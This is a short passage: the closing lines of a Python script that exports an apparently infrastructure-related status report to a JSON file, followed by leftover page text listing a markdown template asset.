    monitor.export_json("havoc_infra_status.json")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 3.8 KB
Keep exploring